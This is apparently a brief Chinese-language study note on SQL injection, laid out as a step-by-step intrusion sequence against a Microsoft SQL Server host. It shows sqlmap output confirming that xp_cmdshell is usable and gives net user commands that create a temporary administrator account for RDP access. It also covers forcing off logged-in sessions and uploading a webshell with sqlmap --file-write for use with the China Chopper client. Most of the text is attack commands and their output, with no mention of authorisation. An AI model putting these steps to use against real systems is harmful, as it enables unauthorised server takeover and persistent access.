SQL 注入学习

关于 SQL inject 流程。

确认目标

手动或使用工具探测,寻找存在漏洞的目标。

1
2
3
4
5
6
7
8
9
10
➜  ~ sqlmap -u "site url" --os-shell
[14:05:17] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008
[14:05:17] [INFO] testing if current user is DBA
[14:05:17] [WARNING] reflective value(s) found and filtering out
[14:05:17] [INFO] testing if xp_cmdshell extended procedure is usable
[14:05:18] [INFO] the SQL query used returns 1 entries
[14:05:18] [INFO] xp_cmdshell extended procedure is usable

xm_cmdshell

xm_cmdshell 扩展存储过程可用,数据库用户是 DBA,直接使用 --os-shell,然后用以下命令添加临时账户。

1
2
net user username password /add        # 添加用户
net localgroup administrator username /add # 添加用户到管理员组

然后用 rdesktop 远程连接即可,记得退出桌面连接后运行 net user username /del 删除添加的用户。

如果远程连接提示当前连接数超限。可做如下处理

1
2
query user
logoff userID

webshell

探测 Web 目录, 然后上传 webshell

1
➜  ~ sqlmap -u "site url" --file-write localWebshellPath --file-dest remotePath -v 2

之后利用中国菜刀连接。

0%